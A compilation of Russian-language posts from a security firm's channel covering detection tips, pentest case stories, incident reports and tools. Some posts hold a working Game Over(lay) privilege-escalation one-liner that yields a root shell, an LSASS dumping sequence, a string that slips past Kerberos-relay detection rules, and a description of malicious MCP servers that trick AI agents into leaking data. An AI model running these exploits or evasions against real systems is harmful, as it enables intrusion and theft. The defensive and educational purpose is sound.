Часто на проектах без латиницы (русский, 漢語, اللُّغَةُ العَرَبِيَّة, 👄🗣💬🔤) встречается ситуация, когда API отдаёт json-ы с экранированным текстом (Unicode Escaped). В таком тексте символы Unicode закодированы в виде последовательностей типа \u043f\u0440\u0438\u0432\u0435\u0442. Так обеспечивается поддержка национальных языков в системах, которые работают только на дефолтном языке.

Чтобы понять содержимое подобного текста, обычно приходится либо настраивать Hackvertor, либо декодировать контент через Python, что не очень удобно. Также на просторах Интернета можно найти плагины для Burp, которые преобразовывают Unicode Escaped-последовательности – однако написаны они были давно и уже не работают в последних версиях Burp.

Поэтому наш эксперт Евгений Великоиваненко написал свой плагин UnUnicode, позволяющий лёгким движением руки преобразовывать json-ы с экранированными символами в удобочитаемый формат. Плагин может работать во вкладках Proxy и Repeater, а также работает с вебсокетами.

Скачать UnUnicode можно в нашем Гитхабе либо в BappStore.

Discovery, то есть Разведка – практически обязательный, но труднодетектируемый этап атаки. На этом этапе злоумышленник, уже имеющий первоначальный доступ к системе, собирает информацию об инфраструктуре для развития атаки.

Почему Discovery сложно отследить? Потому что таких событий может быть очень много в типовой организации: выполнение whoami или net user может оказаться легитимной активностью администратора. Реагировать на каждую такую команду не получится, особенно в случае MSSP-провайдера (таких срабатываний за сутки могут быть миллионы).

Но иногда можно обнаруживать подозрительную активность и по таким командам. Один вариант – заметить их повторение (серию): атакующие обычно выполняют сразу несколько команд энумерации.

Другой вариант: выявлять нетипичную связь parent-child процессов. К примеру, довольно точным оказывается мониторинг выполнения discovery-команд, у которых родитель – процесс MSSQL-сервер.

На приложенном скриншоте – именно такой пример, который мы наблюдали у одного из клиентов.

На прошлой неделе состоялось награждение победителей премии Pentest Awards. Поздравляем нашу коллегу Ирину Беляеву, которая получила третье место в номинации "Пробив инфраструктуры"! А теперь краткий пересказ проекта Ирины – как через принтер в переговорке удалось добраться до промышленной системы управления:

– Подключившись к сети в переговорной комнате в офисе Заказчика и прослушав сетевой трафик, мы обнаружили, что используется NAC. Использовав MAC-адрес ближайшего принтера, смогли получить доступ к локальной сети – и после сканирования обнаружили, что доступны только принтеры, сканеры и несколько портов на контроллерах домена.

– Проэксплуатировав известные уязвимости, в том числе уязвимость удаленного исполнения кода, в веб-интерфейсе Scan2Net, мы получили учетную запись доменного пользователя – и с помощью этой учетной записи провели атаку PetitPotam. А так как контроллер поддерживал аутентификацию по протоколу NetNTLMv1, удалось провести ещё и успешную атаку NTLM Relay на контроллеры домена и получить привилегии администратора домена.

– Затем, используя контроллер домена как прокси-сервер, мы снова провели разведку и нашли уязвимый TeamCity. С помощью публичного эксплойта получили админский доступ в веб-интерфейс и создали резервную копию единственного проекта, в настройках которого было задано множество переменных окружения. Для шифрования секретов использовался ключ по умолчанию, и мы смогли получить из резервной копии учетные данные и API-ключи для нескольких сервисов, приватный ssh-ключ и пароль для него. Среди секретов были и учетные данные для Cisco ISE API.

– Потратив некоторое время на чтение документации и обращения к API, мы обратили внимание на группу эндпоинтов, название которой навело на мысль, что для эндпоинтов в этой группе используется тип аутентификации MAC Authentication Bypass, и в что этой группе есть устройства администраторов. Задали своему сетевому интерфейсу один из MAC-адресов из этой группы и получили неограниченный доступ в сеть, в том числе к сетевой доступ сегментам АСУ ТП.

Красным командам эта история будет полезна как подсказка для аналогичного пробива, а синим командам стоит подглядеть, на что обратить внимание для детекта таких атак.

Техника атаки BYOVD (Bring Your Own Vulnerable Driver) очень раздражает создателей защитных решений: злоумышленник просто находит очередной уязвимый драйвер с высокими привилегиями на уровне ядра ОС, и использует этот драйвер для прерывания процессов, запущенных продуктами безопасности.

В одном из прошлых постов про BYOVD мы рекомендовали для борьбы с подобной атакой отслеживать создание символических ссылок. Аналогичным образом можно написать и другие правила для выявления манипуляций с памятью (детектировать вызовы определённых функций, которые производят чтение и запись). Либо можно импортировать себе в SIEM длинный список уязвимых драйверов и отслеживать их запуск.

Но давайте посмотрим на проблему с другой стороны: а как атакующий "приносит" уязвимый драйвер?

Вот свежий пример: при расследовании инцидента в Бразилии наши специалисты нашли вредоносную программу, которая вырубает антивирусы самых известных производителей (см. скриншот). Для этого вредонос опирается на легитимный драйвер ThrootleBlood.sys (ThrottleStop.sys), используемый приложением для повышения производительности CPU. У драйвера обнаружилась очень удобная уязвимость: функции чтения и записи в физическую память из пользовательского режима безо всякой проверки прав.

Но как этот вредонос и уязвимый драйвер были доставлены в систему? Сначала акующий добыл учётные данные для админского доступа к серверу жертвы через RDP. А после начал горизонтальное перемещение по сети, отключая антивирусы на других машинах и запуская там программу-шифровальщик.

Значит, можно было избежать инцидента, применив вполне стандартные меры защиты:

— ограничение публичного доступа к RDP (при необходимости доступа использовать MFA),
— жёсткая парольная политика, исключающая brute force,
— контроль доступа приложений (белый список),
— сегментация и изоляция корпоративных сетей, чтобы не допустить горизонтальное перемещение в случае взлома.

А подробности расследования бразильского инцидента читайте в статье "Как злоумышленники отключают антивирусы с помощью легитимного драйвера".

Продолжаем публиковать кейсы наших экспертов-участников конкурса Pentest Awards. Поздравляем Виктора Зварыкина, который с рассказом "4911" стал фаворитом года по версии жюри (да-да, есть и такая награда, вне номинаций)!

Уникальная история обхода средств защиты, написанная Виктором в жанре киберпанк и предназначенная для чтения за большой кружкой лавандового рафа, опубликована на нашем Гитхабе в авторской редакции.

А здесь мы предлагаем краткую версию этого кейса в повседневном изложении, буквально на шот эспрессо:

– Работы по пентесту проходили в большой финансовой компании. Одна из задач – проверка получения доступа в личный кабинет клиента финансовой организации и доступа к чувствительной информации.

На этапе OSINT-разведки был обнаружен веб-интерфейс для входа в личный кабинет посредством ввода логина и пароля. Поискали в открытых источниках и нашли валидную учетную запись.

В приложении использовался второй фактор для аутентификации, и его требовалось обойти. Отправили на удачу цифровое значение "4911". Да, это звучит как фантастика, но обход получился с первой попытки: значение было принято приложением как валидное. Таким образом и был получен доступ в личный кабинет клиента.

Как избежать подобных атак:

– Мониторьте утечки данных из публичных источников и регулярно меняйте пароли пользователей.

– Считается, что двухфакторная аутентификация значительно повышает безопасность, но данный кейс показывает, что невозможное возможно. Поэтому логичным решением будет увеличение количества необходимых числовых значений во втором факторе с 4-х до 6-ти, что понизит вероятность обхода.

– А ещё лучше внедрить MFA вместо 2FA, ведь злоумышленники уже давно научились обходить двухфакторку самыми разными способами.

Среди различных способов дампа учётных данных LSASS (T1003.001) у злоумышленников всё ещё популярен вариант с использованием механизма Silent Process Exit.

Этот механизм позволяет настроить действие, которое нужно выполнить при завершении процесса. Среди возможных действий также есть создание дампа памяти процесса, чем и пользуются атакующие.

Последовательность атаки:

– сконфигурировать в реестре параметр Silent Process Exit для процесса LSASS на создание полного дампа при завершении процесса,
– послать операционной системе триггер на принудительное завершение процесса: это можно сделать с помощью штатного сервиса Windows Error Reporting (Werfault.exe),
– после краша процесса LSASS на диске будет создан дамп памяти процесса.

Как детектировать атаку:

Следует контролировать изменение ключей реестра HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe\*
(на приложенном скриншоте – как раз такой пример).

На конкурсе Pentest Awards наш эксперт Виктор Зварыкин стал не только фаворитом по версии жюри: другой кейс Виктора вошёл в топ-10 в номинации "Пробив инфраструктуры". Поэтому предлагаем вам ещё одну историю на чашечку кофе – о том, как полезно читать документацию. Вот как это было:

– Работы проводились удаленно с недоменного хоста с Windows OS, доступ к которому шел через редиректор и reverse ssh. В результате сканирования мы обнаружили хосты с веб-интерфейсом Algosec. После изучения документации были успешно подобраны учетные данные для входа по протоколу ssh.

Затем с помощью tcpdump на хосте в трафике обнаружили зашифрованные учетные данные для входа в веб-интерфейс Algosec. Изучив еще одну документацию и использовав built-in инструмент "fa_password", мы эти учетные данные успешно расшифровали.

После чего переиспользовали учётки на других сервисах – и получили административный доступ в веб-интерфейс Palo Alto. В PAN-OS могут использоваться учётные записи от сторонних сервисов, например LDAP или SMTP. По умолчанию в Palo Alto используется дефолтный мастер-ключ. Он не был изменен, и нам удалось успешно расшифровать пароль доменной учетной записи.

Для повышения привилегий в домене использовался вектор атаки типа relay, с принудительной аутентификацией контроллера домена к службе Web Enrollment центра сертификации (ESC8). Для этого был выполнен вход по протоколу ssh с port forwarding 445 порта на хост Algosec, запущена утилита socat для ретрансляции входящего трафика на 445 порту, и на удаленном хосте Исполнителя через proxychains запущена утилита ntlmrelayx.

Использовав инструмент типа "coerce" dfscoerce.py, мы успешно осуществили принудительную аутентификацию контроллера домена на хост Algosec и ретранслировали к службе Web Enrollment. Далее был получен TGT-билет машинной учетной записи контроллера домена, в результате чего мы получили доступ к файлу базы данных NTDS.DIT и административные права в домене.

Мораль: Если вы не меняете дефолтные ключи и конфиги – возможно, к вам пробьются аналогичным путем.

Защита: Как обнаружить, что кто-то крафтит ваш TGT, мы уже писали. Что ещё подкрутить, чтобы было безопасно? Читайте рекомендации в полной версии кейса (в авторской редакции) на нашем гитхабе.

Если в результате расследования инцидента вы нашли признаки определённого злоумышленника – это ещё не значит, что он был единственным, кто вас атаковал. При этом методы «взаимодействия» атакующих могут быть очень разнообразными.

В одном из прошлых постов мы уже рассказывали про такой случай, когда с одной жертвой "поработали" две разные группы злоумышленников: сначала шпионская APT, а потом вымогатели.

А вот другой пример. Зашифровали инфраструктуру жертвы, для виндового сегмента использовали Conti, для серверов ESXi – шифровальщик Babuk. Расследование цепочки атаки привело нас к одному серверу, который оказался довольно интересным с точки зрения ретроспективного анализа: один из злоумышленников нашёл там уязвимость, проэксплуатировал её, а затем установил обновление безопасности, чтобы не дать другим атакующим воспользоваться той же уязвимостью.

Иными словами, плохие парни могут не только пользоваться наработками конкурентов, но и наоборот – препятствовать проникновению конкурентов на свою поляну.

Подробности обоих упомянутых кейсов, а также другие примеры на эту тему – слушайте в докладе нашего эксперта Алины Сухановой «Когда цель одна, а атакующих много: конкуренция за жертву» (OFFZONE, 22 августа, 12:00)

Если вы ещё не решили, какие доклады слушать во второй день конференции OFFZONE (то есть сегодня) – предлагаем пару подсказок от наших специалистов по цифровой разведке.

Вот например, на схеме выше – хронология событий вокруг некогда популярной киберпреступной платформы RaidForums и пришедшей ей на смену площадке BreachForums. За три последних года эти хакерские форумы пережили несколько закрытий, параллельно с захватами серверов полицией, арестами владельцев и сменой админов.

Как строятся отношения в тёмной части Интернета, если репутация разрушается прямо на глазах? Александр Забровский предлагает свои наблюдения и прогнозы в докладе «Кризис доверия в Даркнете: DFI» (22 августа, 11:00)

И ещё одно исследование трендов Даркнета – о том, как злоумышленники используют игровые платформы. Кража цифровых личностей игроков с помощью малварных логов, таргетированные атаки через Youtube, фальшивые красотки-геймерши и другие креативные мошеннические схемы – в докладе Полины Третьяк «Вы не можете спать, пока рядом есть монстры» (22 августа, 13:20)

Чтобы избежать раздачи рутового доступа кому попало, в операционке Linux привилегии суперпользователя разделяются на отдельные единицы, которые называют «возможностями» (capabilities). Такие root-права дают исполняемым файлам ограниченные разрешения, даже если файл исполняется как root.

Обычно capabilities ограничены по умолчанию: если их устанавливает непривилегированный пользователь, такие права связываются с пользовательским пространством имён (namespace) – и не могут применяться за пределами этого namespace.

Однако эксплоит Game Over(lay) использует две уязвимости в системе OverlayFS (CVE-2023-2640 и CVE-2023-32629), чтобы обойти это ограничение. Эксплоит заставляет систему скопировать файл с ограниченными правами в другое место – где права не ограничены. После этого пользователь без привилегий может выполнить такой файл с рутовыми правами.

Как устроена атака:

OverlayFS – это объединенная файловая система, которая даёт пользователю общее представление разных каталогов в виде «слоев». Это позволяет обмениваться данными и модифицировать их, не изменяя оригинальный контент.

Система устроена так:
– нижний слой (lowedir): монтируется только для чтения,
– верхний слой (upperdir): позволяет записывать модификации,
– рабочий слой (workdir): для управления рабочим каталогом контейнеризованных процессов,
– объединенный слой (merged): доступен пользователю как объединенное представление файловой системы.

Оригинальные файлы хранятся в нижнем слое, только на чтение. При модификации файла или его метаданных активируется механизм Copy-on-Write (CoW), который копирует файл на верхний слой, оставляя оригинал на нижнем.

В некоторых версиях Ubuntu система OverlayFS не проводит валидацию при копировании файлов между слоями. Это позволяет заменить ограниченные root-права на неограниченные одной строчкой команд:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"bash\")'";rm -rf l u w m

Результат выполнения можно увидеть на скриншоте выше. Разберём атаку по шагам:

unshare -rm создаёт и монтирует новое пространство имён (namespace) пользователя, которому будут предоставлены рутовые права,

mkdir создаёт четыре каталога (l, u, w, m) для «ловушки» OverlayFS.

cp копирует бинарный файл python3 в каталог l, нижний уровень (только чтение). Путь /u*/b*/p*3 обфусцирует реальный путь /usr/bin/python3.

setcap cap_setuid+eip назначает файлу ограниченные рутовые права (capabilities), позволяя ему вызов setuid(0). Эта возможность работает только внутри пользовательского namespace.

mount создаёт OverlayFS с каталогами l (нижний слой), u (верхний слой), w (рабочий слой) и m (объединенный слой). В нижнем слое лежит python3 (с ограниченными правами).

touch модифицирует метаданные файла через каталог m, активируя Copy-on-Write. В уязвимых версиях Ubuntu это приводит к копированию файла python3 в каталог u, где у бинарника будут неограниченные права (за пределами namespace).

Теперь файл python3 можно запустить для повышения привилегий через os.setuid(0) и создать рутовый shell, используя os.system("bash").

Последняя команда rm зачищает каталоги «ловушки».

Как избежать атаки:

Уязвимостям подвержены версии ядра от v5.4 до v6.3. Информацию по обновлениям смотрите здесь: CVE-2023-2640 и CVE-2023-32629.

Также рекомендуется ограничить возможность создания namespace для непривилегированных пользователей:

echo kernel.unprivileged_userns_clone=0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf

Как детектировать атаку:

– Отслеживайте нестандартное использование unshare, особенно с флагами namespace.
– Выявляйте shell-процессы с подозрительными аргументами, которые предполагают установку рутовых прав (capabilities) и монтирования с перекрывающимися слоями.
– Мониторьте подозрительные родительские shell-процессы, которые могут означать повышение привилегий.

Этим летом злоумышленники атаковали по всему миру сервера SharePoint, получая полный контроль над ними с помощью цепочки эксплоитов ToolShell. Эксплуатируются при этом уязвимости CVE-2025-49704 и CVE-2025-49706, а также их исправленные версии CVE-2025-53770 и CVE-2025-53771.

Основные рекомендации по предотвращению таких вторжений сводятся к срочному обновлению уязвимых продуктов SharePoint либо к использованию антивирусов, которые способны детектировать эксплоиты ToolShell.

Однако, как показывает опыт, уязвимые системы зачастую остаются непропатченными ещё долгое время, а модификация кода вредоносов помогает злоумышленникам обойти антивирус.

Наш эксперт Александр Родченко предлагает свой подход к детектированию атак на основе уязвимостей десериализации в среде CLR (таких как CVE-2025-53770). Вкратце, его идея звучит так:

– Подписываем ETW-монитор EDR-решения на ловлю попыток десериализации, то есть событий CLR: Loader.
– При получении такого события ищем подозрительные вспомогательные сборки: динамический Microsoft.GeneratedCode без пути и App_Web_toolpane.aspx* без пути.
– Если такие сборки найдены, сканируем память YARA-правилом для выявления опасных типов объектов (гаджетов), чьё поведение при десериализации может привести к выполнению вредоносного кода (LosFormatter и др.)

Подробности идеи и пример возможного YARA-правила смотрите в статье Александра. Знатоки .NET-архитектуры приглашаются оценить, оспорить или улучшить предложенный метод детекта.

Как ловить обфускацию? Зачастую в техниках обфускации Powershell можно встретить стандартные вызовы System.Text.Encoding и iex. Эти вызовы сами по себе не раскрывают полезную нагрузку — они лишь конвертируют/выполняют уже скрытый контент.

Основная цель атакующего — спрятать саму полезную нагрузку. Для этого может быть использовано шифрование/кодировка (Base64, AES и др.), разделение строки по частям и динамическая сборка, перемешивание/шифрование идентификаторов переменных.

Но при этом командлеты System.Text.Encoding и Invoke-Expression/iex остаются незамаскированными (см. пример на скриншоте). Это связано с тем, что обфускация их имён часто невозможна без изменения самого рантайма или без вызова по строкам, что усложняет код и добавляет вероятность ошибок.

Атакующий мог бы попробовать заменить Invoke-Expression на динамический вызов Invoke-Expression через & (call), New-Object System.Management.Automation.ScriptBlock::Create(...).Invoke(), или механизм Reflection. Но это также делает код громоздким и может нарушить политики безопасности (ConstrainedLanguageMode) либо поведение окружения (контекст исполнения, $ExecutionContext и др.).

Обфускация чаще нацелена на отложенное обнаружение, а не на полное сокрытие. Оставляя стандартные вызовы, атакующий минимизирует вероятность ошибочного поведения и упрощает совместимость с инструментами развёртывания.

Отсюда получаем рекомендации для защиты:

– Блокируйте выполнение таких небезопасных команд, как Invoke-Expression;

– Детектируйте строки такого вида:

$s = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("...")) 

iex $s

Мы знаем, что публикация больших исследований приносит больше лайков, чем маленькие полезные советы. Но мы ценим минимализм, а потому – очередной пост в жанре «хозяйке на заметку».

Атакующие часто применяют встроенные инструменты системы, а ещё они любят скрытые и односимвольные файлы. Типичный пример такого использования Python на Linux представлен на скриншоте выше.

Злоумышленники использовали этот однострочник, чтобы загрузить файл с удаленного web-ресурса, сохранить его в скрытый файл .1, назначить ему права executable и запусить этот файл.

Мораль: надо следить за такими проявлениями минимализма, как создание и исполнение скрытых и односимвольных файлов, а также за подозрительными командами Python.

В больших AD-лесах админы часто «забывают» или ошибочно настраивают списки контроля доступа (ACL), не желая заморачиваться с чётким разделением и выдачей прав. В таких списках могут оставаться широкие разрешения для Everyone/Authenticated Users/Domain Computers, причём с расширенными правами на чувствительные объекты.

Это не мелочь: именно список DACL в nTSecurityDenoscriptor определяет, кто и что может делать с объектом. Но есть проблема: такие списки прав указаны для каждого отдельного субъекта (нет одной таблички), GUID’ы прав нечитабельны, а определения дескрипторов безопасности (SDDL) тяжело смотреть глазами.

Наш эксперт Александр Родченко написал утилиту ParseJsonWithSDDLs для решения этой проблемы. Основная идея: показать, какими правами обладают «все», то есть достаточно большой и потенциально неограниченный круг субъектов (анонимы, аутентифицированные пользователи, все ПК и т.д). Другими словами, утилита отвечает на вопрос: «Есть ли у нас в домене какие-то объекты, с которыми может сделать что-то любой пользователь?»

Функционал, реализованный в программе:

— парсит SDDL из nTSecurityDenoscriptor, вычленяет «широкие» ACE и показывает их в удобном виде (читаемые имена субъектов и объектов, декодированные GUID расширенных прав);
— умеет сама выгрузить весь лес и трасты в JSON (LDAP paging + SecurityDenoscriptorFlagControl для DACL), если у вас нет готовых экспортов ваших доменов; в некотором роде это работа SharpHound с опцией "вместе с DACL", но в данном случае автор сам реализовал это в коде;
— даёт HTML-сводку и при желании CSV для дальнейшей аналитики/хантинга.

Что даёт использование утилиты?

Это закрывает типовой класс конфиг-дефектов, про которые Microsoft годами пишет в своих рекомендациях по безопасности AD. Прогоны такой утилитой часто приносят «бесплатные» находки перед аудитами и пентестами. Примеры находок приведены на скриншотах выше:

(1) объект, который может изменить любой ПК — и никто не не знает, для чего это нужно; у клиента это был объект, относящийся к системе корпоративной печати,
(2) очень странный объект групповой политики — это заявка на повышение привилегий в домене,
(3) очень неправильно настроенные разрешения создавать общие папки: на самом деле, дали возможность создать объект-корень FTRoot (новый namespace) и создать под ним любые FTDfs-объекты — ссылки (на любой сервер) и их Target-списки.

Утилиту можно скачать в репозитории автора на Гитхабе — там же оставляйте отзывы и предложения по улучшению программы:
https://github.com/gam4er/DACLPlayground/tree/master

И снова в эфире наша любимая рубрика «Минимализм спасёт Галактику».

За последний год было описано несколько атак (Kerberos Relay, NTLM Reflection), связанных с оригинальным ислледованием Project Zero, и в частности, со специфичным маршаллингом дополнительных данных внутри SPN.

Детектировать подобные атаки часто предлагают по событиям DNS\SMB запросов\трафика с именем примерно такого формата:

 
.+1UWhRCAAAAAAAAAAAAAAAAAAAAAA.+YBAAAA.* 

либо по чуть более широкому варианту:

 
.+1UWhRC.+ 

На самом деле, подобный детект можно обойти, указав вот такое имя (тоже будет работать):

 
<hostname>1UWhRGAAAAAAAAAAIAAAAAAAAAAAAAAAQAAAAAtestKerberoswBAAAA 

Поэтому рекомендуем пересмотреть уже существующую у вас логику детектирования и расширить формат детектируемого имени до вот такого: 1UWhR

C 15 по 19 сентября в Самаре пройдёт финал соревнований VolgaCTF. И это не только хакерские битвы: здесь же можно послушать, о чём рассказывают друг другу ИБ-специалисты, когда они собираются вместе.

Например, о том, что даже самые передовые средства защиты информации становятся бесполезными, если не настроены и не мониторятся должным образом. При расследовании атак наши эксперты часто обнаруживают, что ИБ-службы в атакованных компаниях игнорируют срабатывания защитных решений. А иногда злоумышленники даже получают доступ к консолям систем безопасности — и не только скрывают алерты, но и используют защитные системы для распространения вредоносных файлов по сети.

Подробностями таких кейсов, которые не нужно повторять, поделится Григорий Саблин в докладе «Купить защиту — не значит защититься» (16 сентября, 12.00, трек Б)

А Виктор Зварыкин, уже известный вам по призовым историям на конкурсе Pentest Awards (раз и два), расскажет на VolgaCTF, почему финансовое вознаграждение в программах Bug Bounty не всегда является лучшим достижением для тех, кто любит offensive. Вместо этого можно неплохо прокачать скилы, завести полезные профессиональные знакомства, и в итоге получить гораздо больше выгоды в тех хакерских соревнованиях, где не платят денег.

Доклад Виктора с примерами успешного применения такого подхода называется "Киберполигон: Развитие карьеры" (16 сентября, 15.30, трек А)

Все вокруг так носятся с искусственным интеллектом, что будет даже странно, если это массовое увлечение не станет популярным вектором атак.

Можно также наванговать, что значительная часть атак будет организована по классике: через вредоносные расширения и разнообразные "посреднические" сервисы для работы с модными LLM-приложениями.

Например, такие атаки могут проводиться с использованием MCP-серверов. Протокол Model Context Protocol (MCP), разработанный компанией Anthropic, является открытым стандартом для подключения ИИ-ассистентов к внешним источникам данных и инструментам, без необходимости индивидуальной интеграции для каждого из них.

Варианты эксплуатации этого "посредника" разнообразны. Злоумышленник может зарегистрировать вредоносный MCP-сервер с именем, похожим на легитимное. При поиске нужного инструмента ИИ-агент обнаружит мошеннический сервер вместо легитимного — и передаст ему конфиденциальные данные. Эта "почти человеческая" уязвимость MCP связана с тем, что ИИ-агенты "говорят" на естественном языке, и в поиске ориентируются на текстовые имена (а не на точные криптографические сигнатуры, например).

Более продвинутый вариант атаки: злоумышленник публикует и рекламирует MCP-сервер как полезный инструмент для работы с Cursor, Claude Desktop или другими LLM-приложениями. После установки инструмент действительно демонстрирует заявленную функциональность — однако параллельно производятся скрытые вредоносные действия (например, шпионаж).

Чтобы смоделировать такую угрозу и разработать меры защиты, наши эксперты создали MCP-сервер, который был упакован как пакет PyPI и предлагал полезные для разработчиков функции: анализ проектов, проверка безопасности конфигурации и настройка окружения. Но одновременно с этими полезными делами, запускался вредоносный модуль сбора данных.

Главный вывод: установка MCP-сервера фактически дает ему разрешение выполнять код на вашей машине с вашими привилегиями.

Подробности этого эксперимента, а также рекомендации по обнаружению и предотвращению подобных атак — в статье Мохамеда Гобаши.

Летом мы начали рассказывать об исследовании защищённости Zigbee-сетей, которое провёл наш эксперт Хайдар Кабибо. Пока полная версия исследования готовится к публикации, поделимся некоторыми деталями о начальной фазе пентеста.

В отличие от бытовых систем умного дома, промышленные сети имеют свои особенности реализации и часто требуют кастомизированного подхода к анализу. В нашем случае, исследуемая система включала координатор с несколькими интерфейсами (Wi-Fi, LTE, Bluetooth, ZigBee) и конечное устройство, контролирующее промышленное реле. Главной целью первого этапа тестирования было понимание работы сети и механизмов защиты трафика.

Для снифинга ZigBee-трафика использовался доступный USB-донгл. Однако сама процедура перехвата в промышленных системах имеет свои нюансы:

— После подключения донгла и загрузки специальной прошивки необходимо последовательно сканировать все 16 каналов диапазона 2,4 ГГц (с 11 по 26),
— ZigBee-сети могут работать на любом из доступных каналов, что усложняет процесс поиска,
— Даже при обнаружении трафика, его расшифровка представляет отдельную сложность.

Интересное наблюдение: несмотря на то, что данные в ZigBee-пакетах зашифрованы, заголовки MAC и Network остаются в открытом виде. Это позволяет получить ценную информацию о структуре сети:

— PAN ID сети (2-байтный идентификатор)
— Короткие адреса устройств (2 байта)
— Расширенные адреса, аналогичные MAC (8 байт)
— Идентификатор координатора (всегда имеет адрес 0x0000)

Механизмы шифрования и другие детали будем разбирать в следующих постах на эту тему. А кому хочется узнать раньше — слушайте доклад Хайдара Кабибо "Turn Me Off, Turn Me On" на VolgaCTF (17 сентября, 13:15, трек А)

Как-то в одном американском городке полиция эвакуировала посетителей спортивного клуба, а само помещение тщательно обыскали со служебными собаками в поисках взрывчатки. Всему виной был шутник, который назвал свою WiFi-точку "remote detonator".

Аналогичные случаи возможны и в работе специалистов по offensive security. Представим себе типичную инфраструктуру банка/энтерпрайза. DNS для доменных контроллеров выглядят как вариация из букв-локаций, букв DC и порядкового номера (MSK-DC-007, JED-RODC-2). Компьютеры сотрудников состоят из названия департамента и опять-таки порядкового номера (IT00001337).

Красиво и понятно, да? А теперь представьте, что в этой инфраструктуре в различных журналах безопасности появляются:

— разнообразные "debian" и "ubuntu"
— "kali"
— "WIN-7MWPPTDA"
— "HackPC"

Как правило, все эти варианты означают одинаковый диагноз: "лень поменять название собственного ПК". Но являются ли они легитимными? Стоит ли их опасаться/расследовать?

Ответ может быть разный. Если мы рассматриваем "лень" со стороны IT, то любое из этих имен может быть легитимным.

Если смотрим со стороны SOC, то все такие машины стоит пометить как потенциально опасные. Или даже завести ханты на типовые RiskOS/HackOS, а также шаблоны имён "по умолчанию" для ОС Windows. В идеальном мире можно договориться с IT, чтобы у машин в инфраструктуре были предсказуемые имена, а если появляется что-то странное — расследовать.

Если же мы смотрим со стороны атакующего (пентестера) — не поменяв себе имя узла, вы усложняете жизнь и себе, и экспертам SOC, и многим другим. Примерно как тот деятель, у которого точка доступа называлась remote detonator.

А какие типично "зловредные" доменные имена знаете вы? Присылайте в личные сообщения нашего канала! Мы опубликуем эти примеры в одном из следующих постов серии "Зарисовки про базовый OPSEC".